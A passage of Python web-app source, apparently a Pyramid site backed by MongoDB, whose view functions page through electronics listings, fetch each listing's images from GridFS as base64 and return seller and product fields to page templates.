document5_images_UTF8_list[0] \n \n try:\n electronics_collection_document5_imageE = document5_images_UTF8_list[4]\n except:\n electronics_collection_document5_imageE = document5_images_UTF8_list[0]\n\n \n # Close our database connection and free up resources.\n client1.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return {\n \n 'productID1' : electronics_collection_document1_productID,\n 'username1' : electronics_collection_document1_username,\n 'state1' : electronics_collection_document1_state,\n 'city1' : electronics_collection_document1_city,\n 'description1' : electronics_collection_document1_description,\n 'mobile1' : electronics_collection_document1_mobile,\n 'email1' : electronics_collection_document1_email,\n 'category1' : electronics_collection_document1_category,\n 'condition1': electronics_collection_document1_condition,\n 'image1A' : electronics_collection_document1_imageA,\n 'image1B' : electronics_collection_document1_imageB,\n 'image1C' : electronics_collection_document1_imageC,\n 'image1D': electronics_collection_document1_imageD,\n 'image1E': electronics_collection_document1_imageE,\n\n 'productID2' : electronics_collection_document2_productID,\n 'username2' : electronics_collection_document2_username,\n 'state2' : electronics_collection_document2_state,\n 'city2' : electronics_collection_document2_city,\n 'description2' : electronics_collection_document2_description,\n 'mobile2' : electronics_collection_document2_mobile,\n 'email2' : electronics_collection_document2_email,\n 'category2' : electronics_collection_document2_category,\n 'condition2': electronics_collection_document2_condition,\n 'image2A' : electronics_collection_document2_imageA,\n 'image2B' : electronics_collection_document2_imageB,\n 'image2C' : electronics_collection_document2_imageC,\n 'image2D': electronics_collection_document2_imageD,\n 'image2E': electronics_collection_document2_imageE,\n\n 'productID3' : electronics_collection_document3_productID,\n 'username3' : electronics_collection_document3_username,\n 'state3' : electronics_collection_document3_state,\n 'city3' : electronics_collection_document3_city,\n 'description3' : electronics_collection_document3_description,\n 'mobile3' : electronics_collection_document3_mobile,\n 'email3' : electronics_collection_document3_email,\n 'category3' : electronics_collection_document3_category,\n 'condition3': electronics_collection_document3_condition,\n 'image3A' : electronics_collection_document3_imageA,\n 'image3B' : electronics_collection_document3_imageB,\n 'image3C' : electronics_collection_document3_imageC,\n 'image3D': electronics_collection_document3_imageD,\n 'image3E': electronics_collection_document3_imageE,\n\n 'productID4' : electronics_collection_document4_productID,\n 'username4' : electronics_collection_document4_username,\n 'state4' : electronics_collection_document4_state,\n 'city4' : electronics_collection_document4_city,\n 'description4' : electronics_collection_document4_description,\n 'mobile4' : electronics_collection_document4_mobile,\n 'email4' : electronics_collection_document4_email,\n 'category4' : electronics_collection_document4_category,\n 'condition4': electronics_collection_document4_condition,\n 'image4A' : electronics_collection_document4_imageA,\n 'image4B' : electronics_collection_document4_imageB,\n 'image4C' : electronics_collection_document4_imageC,\n 'image4D': electronics_collection_document4_imageD,\n 'image4E': electronics_collection_document4_imageE,\n\n 'productID5' : electronics_collection_document5_productID,\n 'username5' : electronics_collection_document5_username,\n 'state5' : electronics_collection_document5_state,\n 'city5' : electronics_collection_document5_city,\n 'description5' : electronics_collection_document5_description,\n 'mobile5' : electronics_collection_document5_mobile,\n 'email5' : electronics_collection_document5_email,\n 'category5' : electronics_collection_document5_category,\n 'condition5': electronics_collection_document5_condition,\n 'image5A' : electronics_collection_document5_imageA,\n 'image5B' : electronics_collection_document5_imageB,\n 'image5C' : electronics_collection_document5_imageC,\n 'image5D': electronics_collection_document5_imageD,\n 'image5E': electronics_collection_document5_imageE,\n }\n\n\n # View pages....(n)\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='electronics_viewProducts2_page2', renderer='templates/electronics_templates/electronics_viewProducts2_page2.pt')\n def electronics_viewProducts2_page2(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client2 = MongoClient('%s' % connection_string)\n db = client2.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection_electronics = db.electronics_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection_electronics = GridFS(db, \"electronics_images_collection\")\n\n # Retrieve document record from database operation\n electronics_collection = text_collection_electronics.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(5).limit(5) #This returns 25 records\n\n # Push documents into a list\n electronics_collection_list = []\n\n for record in electronics_collection:\n electronics_collection_list.append(record)\n\n document6 = electronics_collection_list[0]\n document7 = electronics_collection_list[1]\n document8 = electronics_collection_list[2]\n document9 = electronics_collection_list[3]\n document10 = electronics_collection_list[4]\n\n\n\n # The images for document6\n document6_images_list_rawFile = []\n for image_name in document6[\"Images\"]:\n document6_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document7\n document7_images_list_rawFile = []\n for image_name in document7[\"Images\"]:\n document7_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document8\n document8_images_list_rawFile = []\n for image_name in document8[\"Images\"]:\n document8_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document9\n document9_images_list_rawFile = []\n for image_name in document9[\"Images\"]:\n document9_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document10\n document10_images_list_rawFile = []\n for image_name in document10[\"Images\"]:\n document10_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document6\n #######################\n\n # For the text strings,\n electronics_collection_document6_productID = document6[\"Product ID\"]\n electronics_collection_document6_username = document6[\"Username\"]\n electronics_collection_document6_state = document6[\"State\"]\n electronics_collection_document6_city = document6[\"City\"]\n electronics_collection_document6_description = document6[\"Description\"]\n electronics_collection_document6_mobile = document6[\"Mobile\"]\n electronics_collection_document6_email = document6[\"Email\"]\n electronics_collection_document6_category = document6[\"Category\"]\n electronics_collection_document6_condition = document6[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document6_images_UTF8_list = []\n\n for raw_image in document6_images_list_rawFile:\n document6_binaryImage = raw_image.read()\n document6_base64Image = codecs.encode(document6_binaryImage, 'base64')\n document6_UTF8Image = document6_base64Image.decode('utf-8')\n document6_images_UTF8_list.append(document6_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document6_imageA = document6_images_UTF8_list[0]\n\n try:\n electronics_collection_document6_imageB = document6_images_UTF8_list[1]\n except:\n electronics_collection_document6_imageB = document6_images_UTF8_list[0]\n\n try:\n electronics_collection_document6_imageC = document6_images_UTF8_list[2]\n except:\n electronics_collection_document6_imageC = document6_images_UTF8_list[0]\n\n try:\n electronics_collection_document6_imageD = document6_images_UTF8_list[3]\n except:\n electronics_collection_document6_imageD = document6_images_UTF8_list[0] \n \n try:\n electronics_collection_document6_imageE = document6_images_UTF8_list[4]\n except:\n electronics_collection_document6_imageE = document6_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document7\n #######################\n\n # For the text strings,\n electronics_collection_document7_productID = document7[\"Product ID\"]\n electronics_collection_document7_username = document7[\"Username\"]\n electronics_collection_document7_state = document7[\"State\"]\n electronics_collection_document7_city = document7[\"City\"]\n electronics_collection_document7_description = document7[\"Description\"]\n electronics_collection_document7_mobile = document7[\"Mobile\"]\n electronics_collection_document7_email = document7[\"Email\"]\n electronics_collection_document7_category = document7[\"Category\"]\n electronics_collection_document7_condition = document7[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document7_images_UTF8_list = []\n\n for raw_image in document7_images_list_rawFile:\n document7_binaryImage = raw_image.read()\n document7_base64Image = codecs.encode(document7_binaryImage, 'base64')\n document7_UTF8Image = document7_base64Image.decode('utf-8')\n document7_images_UTF8_list.append(document7_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document7_imageA = document7_images_UTF8_list[0]\n\n try:\n electronics_collection_document7_imageB = document7_images_UTF8_list[1]\n except:\n electronics_collection_document7_imageB = document7_images_UTF8_list[0]\n\n try:\n electronics_collection_document7_imageC = document7_images_UTF8_list[2]\n except:\n electronics_collection_document7_imageC = document7_images_UTF8_list[0]\n\n try:\n electronics_collection_document7_imageD = document7_images_UTF8_list[3]\n except:\n electronics_collection_document7_imageD = document7_images_UTF8_list[0] \n \n try:\n electronics_collection_document7_imageE = document7_images_UTF8_list[4]\n except:\n electronics_collection_document7_imageE = document7_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document8\n #######################\n\n # For the text strings,\n electronics_collection_document8_productID = document8[\"Product ID\"]\n electronics_collection_document8_username = document8[\"Username\"]\n electronics_collection_document8_state = document8[\"State\"]\n electronics_collection_document8_city = document8[\"City\"]\n electronics_collection_document8_description = document8[\"Description\"]\n electronics_collection_document8_mobile = document8[\"Mobile\"]\n electronics_collection_document8_email = document8[\"Email\"]\n electronics_collection_document8_category = document8[\"Category\"]\n electronics_collection_document8_condition = document8[\"Condition\"]\n\n \n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document8_images_UTF8_list = []\n\n for raw_image in document8_images_list_rawFile:\n document8_binaryImage = raw_image.read()\n document8_base64Image = codecs.encode(document8_binaryImage, 'base64')\n document8_UTF8Image = document8_base64Image.decode('utf-8')\n document8_images_UTF8_list.append(document8_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document8_imageA = document8_images_UTF8_list[0]\n\n try:\n electronics_collection_document8_imageB = document8_images_UTF8_list[1]\n except:\n electronics_collection_document8_imageB = document8_images_UTF8_list[0]\n\n try:\n electronics_collection_document8_imageC = document8_images_UTF8_list[2]\n except:\n electronics_collection_document8_imageC = document8_images_UTF8_list[0]\n\n try:\n electronics_collection_document8_imageD = document8_images_UTF8_list[3]\n except:\n electronics_collection_document8_imageD = document8_images_UTF8_list[0] \n \n try:\n electronics_collection_document8_imageE = document8_images_UTF8_list[4]\n except:\n electronics_collection_document8_imageE = document8_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document9\n #######################\n\n # For the text strings,\n electronics_collection_document9_productID = document9[\"Product ID\"]\n electronics_collection_document9_username = document9[\"Username\"]\n electronics_collection_document9_state = document9[\"State\"]\n electronics_collection_document9_city = document9[\"City\"]\n electronics_collection_document9_description = document9[\"Description\"]\n electronics_collection_document9_mobile = document9[\"Mobile\"]\n electronics_collection_document9_email = document9[\"Email\"]\n electronics_collection_document9_category = document9[\"Category\"]\n electronics_collection_document9_condition = document9[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document9_images_UTF8_list = []\n\n for raw_image in document9_images_list_rawFile:\n document9_binaryImage = raw_image.read()\n document9_base64Image = codecs.encode(document9_binaryImage, 'base64')\n document9_UTF8Image = document9_base64Image.decode('utf-8')\n document9_images_UTF8_list.append(document9_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document9_imageA = document9_images_UTF8_list[0]\n\n try:\n electronics_collection_document9_imageB = document9_images_UTF8_list[1]\n except:\n electronics_collection_document9_imageB = document9_images_UTF8_list[0]\n\n try:\n electronics_collection_document9_imageC = document9_images_UTF8_list[2]\n except:\n electronics_collection_document9_imageC = document9_images_UTF8_list[0]\n\n try:\n electronics_collection_document9_imageD = document9_images_UTF8_list[3]\n except:\n electronics_collection_document9_imageD = document9_images_UTF8_list[0] \n \n try:\n electronics_collection_document9_imageE = document9_images_UTF8_list[4]\n except:\n electronics_collection_document9_imageE = document9_images_UTF8_list[0]\n\n\n # For document10\n #######################\n\n # For the text strings,\n electronics_collection_document10_productID = document10[\"Product ID\"]\n electronics_collection_document10_username = document10[\"Username\"]\n electronics_collection_document10_state = document10[\"State\"]\n electronics_collection_document10_city = document10[\"City\"]\n electronics_collection_document10_description = document10[\"Description\"]\n electronics_collection_document10_mobile = document10[\"Mobile\"]\n electronics_collection_document10_email = document10[\"Email\"]\n electronics_collection_document10_category = document10[\"Category\"]\n electronics_collection_document10_condition = document10[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document10_images_UTF8_list = []\n\n for raw_image in document10_images_list_rawFile:\n document10_binaryImage = raw_image.read()\n document10_base64Image = codecs.encode(document10_binaryImage, 'base64')\n document10_UTF8Image = document10_base64Image.decode('utf-8')\n document10_images_UTF8_list.append(document10_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document10_imageA = document10_images_UTF8_list[0]\n\n try:\n electronics_collection_document10_imageB = document10_images_UTF8_list[1]\n except:\n electronics_collection_document10_imageB = document10_images_UTF8_list[0]\n\n try:\n electronics_collection_document10_imageC = document10_images_UTF8_list[2]\n except:\n electronics_collection_document10_imageC = document10_images_UTF8_list[0]\n\n try:\n electronics_collection_document10_imageD = document10_images_UTF8_list[3]\n except:\n electronics_collection_document10_imageD = document10_images_UTF8_list[0] \n \n try:\n electronics_collection_document10_imageE = document10_images_UTF8_list[4]\n except:\n electronics_collection_document10_imageE = document10_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client2.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID6' : electronics_collection_document6_productID,\n 'username6' : electronics_collection_document6_username,\n 'state6' : electronics_collection_document6_state,\n 'city6' : electronics_collection_document6_city,\n 'description6' : electronics_collection_document6_description,\n 'mobile6' : electronics_collection_document6_mobile,\n 'email6' : electronics_collection_document6_email,\n 'category6' : electronics_collection_document6_category,\n 'condition6': electronics_collection_document6_condition,\n 'image6A' : electronics_collection_document6_imageA,\n 'image6B' : electronics_collection_document6_imageB,\n 'image6C' : electronics_collection_document6_imageC,\n 'image6D': electronics_collection_document6_imageD,\n 'image6E': electronics_collection_document6_imageE,\n\n 'productID7' : electronics_collection_document7_productID,\n 'username7' : electronics_collection_document7_username,\n 'state7' : electronics_collection_document7_state,\n 'city7' : electronics_collection_document7_city,\n 'description7' : electronics_collection_document7_description,\n 'mobile7' : electronics_collection_document7_mobile,\n 'email7' : electronics_collection_document7_email,\n 'category7' : electronics_collection_document7_category,\n 'condition7': electronics_collection_document7_condition,\n 'image7A' : electronics_collection_document7_imageA,\n 'image7B' : electronics_collection_document7_imageB,\n 'image7C' : electronics_collection_document7_imageC,\n 'image7D': electronics_collection_document7_imageD,\n 'image7E': electronics_collection_document7_imageE,\n\n 'productID8' : electronics_collection_document8_productID,\n 'username8' : electronics_collection_document8_username,\n 'state8' : electronics_collection_document8_state,\n 'city8' : electronics_collection_document8_city,\n 'description8' : electronics_collection_document8_description,\n 'mobile8' : electronics_collection_document8_mobile,\n 'email8' : electronics_collection_document8_email,\n 'category8' : electronics_collection_document8_category,\n 'condition8': electronics_collection_document8_condition,\n 'image8A' : electronics_collection_document8_imageA,\n 'image8B' : electronics_collection_document8_imageB,\n 'image8C' : electronics_collection_document8_imageC,\n 'image8D': electronics_collection_document8_imageD,\n 'image8E': electronics_collection_document8_imageE,\n\n 'productID9' : electronics_collection_document9_productID,\n 'username9' : electronics_collection_document9_username,\n 'state9' : electronics_collection_document9_state,\n 'city9' : electronics_collection_document9_city,\n 'description9' : electronics_collection_document9_description,\n 'mobile9' : electronics_collection_document9_mobile,\n 'email9' : electronics_collection_document9_email,\n 'category9' : electronics_collection_document9_category,\n 'condition9': electronics_collection_document9_condition,\n 'image9A' : electronics_collection_document9_imageA,\n 'image9B' : electronics_collection_document9_imageB,\n 'image9C' : electronics_collection_document9_imageC,\n 'image9D': electronics_collection_document9_imageD,\n 'image9E': electronics_collection_document9_imageE,\n\n 'productID10' : electronics_collection_document10_productID,\n 'username10' : electronics_collection_document10_username,\n 'state10' : electronics_collection_document10_state,\n 'city10' : electronics_collection_document10_city,\n 'description10' : electronics_collection_document10_description,\n 'mobile10' : electronics_collection_document10_mobile,\n 'email10' : electronics_collection_document10_email,\n 'category10' : electronics_collection_document10_category,\n 'condition10': electronics_collection_document10_condition,\n 'image10A' : electronics_collection_document10_imageA,\n 'image10B' : electronics_collection_document10_imageB,\n 'image10C' : electronics_collection_document10_imageC,\n 'image10D': electronics_collection_document10_imageD,\n 'image10E': electronics_collection_document10_imageE, \n }\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='electronics_viewProducts2_page3', renderer='templates/electronics_templates/electronics_viewProducts2_page3.pt')\n def electronics_viewProducts2_page3(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client3 = MongoClient('%s' % connection_string)\n db = client3.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection_electronics = db.electronics_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection_electronics = GridFS(db, \"electronics_images_collection\")\n\n # Retrieve document record from database operation\n electronics_collection = text_collection_electronics.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(10).limit(5) #This returns 25 records\n\n # Push documents into a list\n electronics_collection_list = []\n\n for record in electronics_collection:\n electronics_collection_list.append(record)\n\n\n\n document11 = electronics_collection_list[0]\n document12 = electronics_collection_list[1]\n document13 = electronics_collection_list[2]\n document14 = electronics_collection_list[3]\n document15 = electronics_collection_list[4]\n\n # Extracting images\n # The images for document11\n document11_images_list_rawFile = []\n for image_name in document11[\"Images\"]:\n document11_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document12\n document12_images_list_rawFile = []\n for image_name in document12[\"Images\"]:\n document12_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document13\n document13_images_list_rawFile = []\n for image_name in document13[\"Images\"]:\n document13_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document14\n document14_images_list_rawFile = []\n for image_name in document14[\"Images\"]:\n document14_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document15\n document15_images_list_rawFile = []\n for image_name in document15[\"Images\"]:\n document15_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document11\n #######################\n\n # For the text strings,\n electronics_collection_document11_productID = document11[\"Product ID\"]\n electronics_collection_document11_username = document11[\"Username\"]\n electronics_collection_document11_state = document11[\"State\"]\n electronics_collection_document11_city = document11[\"City\"]\n electronics_collection_document11_description = document11[\"Description\"]\n electronics_collection_document11_mobile = document11[\"Mobile\"]\n electronics_collection_document11_email = document11[\"Email\"]\n electronics_collection_document11_category = document11[\"Category\"]\n electronics_collection_document11_condition = document11[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document11_images_UTF8_list = []\n\n for raw_image in document11_images_list_rawFile:\n document11_binaryImage = raw_image.read()\n document11_base64Image = codecs.encode(document11_binaryImage, 'base64')\n document11_UTF8Image = document11_base64Image.decode('utf-8')\n document11_images_UTF8_list.append(document11_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document11_imageA = document11_images_UTF8_list[0]\n\n try:\n electronics_collection_document11_imageB = document11_images_UTF8_list[1]\n except:\n electronics_collection_document11_imageB = document11_images_UTF8_list[0]\n\n try:\n electronics_collection_document11_imageC = document11_images_UTF8_list[2]\n except:\n electronics_collection_document11_imageC = document11_images_UTF8_list[0]\n\n try:\n electronics_collection_document11_imageD = document11_images_UTF8_list[3]\n except:\n electronics_collection_document11_imageD = document11_images_UTF8_list[0] \n \n try:\n electronics_collection_document11_imageE = document11_images_UTF8_list[4]\n except:\n electronics_collection_document11_imageE = document11_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document12\n #######################\n\n # For the text strings,\n electronics_collection_document12_productID = document12[\"Product ID\"]\n electronics_collection_document12_username = document12[\"Username\"]\n electronics_collection_document12_state = document12[\"State\"]\n electronics_collection_document12_city = document12[\"City\"]\n electronics_collection_document12_description = document12[\"Description\"]\n electronics_collection_document12_mobile = document12[\"Mobile\"]\n electronics_collection_document12_email = document12[\"Email\"]\n electronics_collection_document12_category = document12[\"Category\"]\n electronics_collection_document12_condition = document12[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document12_images_UTF8_list = []\n\n for raw_image in document12_images_list_rawFile:\n document12_binaryImage = raw_image.read()\n document12_base64Image = codecs.encode(document12_binaryImage, 'base64')\n document12_UTF8Image = document12_base64Image.decode('utf-8')\n document12_images_UTF8_list.append(document12_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document12_imageA = document12_images_UTF8_list[0]\n\n try:\n electronics_collection_document12_imageB = document12_images_UTF8_list[1]\n except:\n electronics_collection_document12_imageB = document12_images_UTF8_list[0]\n\n try:\n electronics_collection_document12_imageC = document12_images_UTF8_list[2]\n except:\n electronics_collection_document12_imageC = document12_images_UTF8_list[0]\n\n try:\n electronics_collection_document12_imageD = document12_images_UTF8_list[3]\n except:\n electronics_collection_document12_imageD = document12_images_UTF8_list[0] \n \n try:\n electronics_collection_document12_imageE = document12_images_UTF8_list[4]\n except:\n electronics_collection_document12_imageE = document12_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document13\n #######################\n\n # For the text strings,\n electronics_collection_document13_productID = document13[\"Product ID\"]\n electronics_collection_document13_username = document13[\"Username\"]\n electronics_collection_document13_state = document13[\"State\"]\n electronics_collection_document13_city = document13[\"City\"]\n electronics_collection_document13_description = document13[\"Description\"]\n electronics_collection_document13_mobile = document13[\"Mobile\"]\n electronics_collection_document13_email = document13[\"Email\"]\n electronics_collection_document13_category = document13[\"Category\"]\n electronics_collection_document13_condition = document13[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document13_images_UTF8_list = []\n\n for raw_image in document13_images_list_rawFile:\n document13_binaryImage = raw_image.read()\n document13_base64Image = codecs.encode(document13_binaryImage, 'base64')\n document13_UTF8Image = document13_base64Image.decode('utf-8')\n document13_images_UTF8_list.append(document13_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document13_imageA = document13_images_UTF8_list[0]\n\n try:\n electronics_collection_document13_imageB = document13_images_UTF8_list[1]\n except:\n electronics_collection_document13_imageB = document13_images_UTF8_list[0]\n\n try:\n electronics_collection_document13_imageC = document13_images_UTF8_list[2]\n except:\n electronics_collection_document13_imageC = document13_images_UTF8_list[0]\n\n try:\n electronics_collection_document13_imageD = document13_images_UTF8_list[3]\n except:\n electronics_collection_document13_imageD = document13_images_UTF8_list[0] \n \n try:\n electronics_collection_document13_imageE = document13_images_UTF8_list[4]\n except:\n electronics_collection_document13_imageE = document13_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document14\n #######################\n\n # For the text strings,\n electronics_collection_document14_productID = document14[\"Product ID\"]\n electronics_collection_document14_username = document14[\"Username\"]\n electronics_collection_document14_state = document14[\"State\"]\n electronics_collection_document14_city = document14[\"City\"]\n electronics_collection_document14_description = document14[\"Description\"]\n electronics_collection_document14_mobile = document14[\"Mobile\"]\n electronics_collection_document14_email = document14[\"Email\"]\n electronics_collection_document14_category = document14[\"Category\"]\n electronics_collection_document14_condition = document14[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document14_images_UTF8_list = []\n\n for raw_image in document14_images_list_rawFile:\n document14_binaryImage = raw_image.read()\n document14_base64Image = codecs.encode(document14_binaryImage, 'base64')\n document14_UTF8Image = document14_base64Image.decode('utf-8')\n document14_images_UTF8_list.append(document14_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document14_imageA = document14_images_UTF8_list[0]\n\n try:\n electronics_collection_document14_imageB = document14_images_UTF8_list[1]\n except:\n electronics_collection_document14_imageB = document14_images_UTF8_list[0]\n\n try:\n electronics_collection_document14_imageC = document14_images_UTF8_list[2]\n except:\n electronics_collection_document14_imageC = document14_images_UTF8_list[0]\n\n try:\n electronics_collection_document14_imageD = document14_images_UTF8_list[3]\n except:\n electronics_collection_document14_imageD = document14_images_UTF8_list[0] \n \n try:\n electronics_collection_document14_imageE = document14_images_UTF8_list[4]\n except:\n electronics_collection_document14_imageE = document14_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document15\n #######################\n\n # For the text strings,\n electronics_collection_document15_productID = document15[\"Product ID\"]\n electronics_collection_document15_username = document15[\"Username\"]\n electronics_collection_document15_state = document15[\"State\"]\n electronics_collection_document15_city = document15[\"City\"]\n electronics_collection_document15_description = document15[\"Description\"]\n electronics_collection_document15_mobile = document15[\"Mobile\"]\n electronics_collection_document15_email = document15[\"Email\"]\n electronics_collection_document15_category = document15[\"Category\"]\n electronics_collection_document15_condition = document15[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document15_images_UTF8_list = []\n\n for raw_image in document15_images_list_rawFile:\n document15_binaryImage = raw_image.read()\n document15_base64Image = codecs.encode(document15_binaryImage, 'base64')\n document15_UTF8Image = document15_base64Image.decode('utf-8')\n document15_images_UTF8_list.append(document15_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document15_imageA = document15_images_UTF8_list[0]\n\n try:\n electronics_collection_document15_imageB = document15_images_UTF8_list[1]\n except:\n electronics_collection_document15_imageB = document15_images_UTF8_list[0]\n\n try:\n electronics_collection_document15_imageC = document15_images_UTF8_list[2]\n except:\n electronics_collection_document15_imageC = document15_images_UTF8_list[0]\n\n try:\n electronics_collection_document15_imageD = document15_images_UTF8_list[3]\n except:\n electronics_collection_document15_imageD = document15_images_UTF8_list[0] \n \n try:\n electronics_collection_document15_imageE = document15_images_UTF8_list[4]\n except:\n electronics_collection_document15_imageE = document15_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client3.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID11' : electronics_collection_document11_productID,\n 'username11' : electronics_collection_document11_username,\n 'state11' : electronics_collection_document11_state,\n 'city11' : electronics_collection_document11_city,\n 'description11' : electronics_collection_document11_description,\n 'mobile11' : electronics_collection_document11_mobile,\n 'email11' : electronics_collection_document11_email,\n 'category11' : electronics_collection_document11_category,\n 'condition11': electronics_collection_document11_condition,\n 'image11A' : electronics_collection_document11_imageA,\n 'image11B' : electronics_collection_document11_imageB,\n 'image11C' : electronics_collection_document11_imageC,\n 'image11D': electronics_collection_document11_imageD,\n 'image11E': electronics_collection_document11_imageE,\n\n 'productID12' : electronics_collection_document12_productID,\n 'username12' : electronics_collection_document12_username,\n 'state12' : electronics_collection_document12_state,\n 'city12' : electronics_collection_document12_city,\n 'description12' : electronics_collection_document12_description,\n 'mobile12' : electronics_collection_document12_mobile,\n 'email12' : electronics_collection_document12_email,\n 'category12' : electronics_collection_document12_category,\n 'condition12': electronics_collection_document12_condition,\n 'image12A' : electronics_collection_document12_imageA,\n 'image12B' : electronics_collection_document12_imageB,\n 'image12C' : electronics_collection_document12_imageC,\n 'image12D': electronics_collection_document12_imageD,\n 'image12E': electronics_collection_document12_imageE,\n\n 'productID13' : electronics_collection_document13_productID,\n 'username13' : electronics_collection_document13_username,\n 'state13' : electronics_collection_document13_state,\n 'city13' : electronics_collection_document13_city,\n 'description13' : electronics_collection_document13_description,\n 'mobile13' : electronics_collection_document13_mobile,\n 'email13' : electronics_collection_document13_email,\n 'category13' : electronics_collection_document13_category,\n 'condition13': electronics_collection_document13_condition,\n 'image13A' : electronics_collection_document13_imageA,\n 'image13B' : electronics_collection_document13_imageB,\n 'image13C' : electronics_collection_document13_imageC,\n 'image13D': electronics_collection_document13_imageD,\n 'image13E': electronics_collection_document13_imageE,\n\n 'productID14' : electronics_collection_document14_productID,\n 'username14' : electronics_collection_document14_username,\n 'state14' : electronics_collection_document14_state,\n 'city14' : electronics_collection_document14_city,\n 'description14' : electronics_collection_document14_description,\n 'mobile14' : electronics_collection_document14_mobile,\n 'email14' : electronics_collection_document14_email,\n 'category14' : electronics_collection_document14_category,\n 'condition14': electronics_collection_document14_condition,\n 'image14A' : electronics_collection_document14_imageA,\n 'image14B' : electronics_collection_document14_imageB,\n 'image14C' : electronics_collection_document14_imageC,\n 'image14D': electronics_collection_document14_imageD,\n 'image14E': 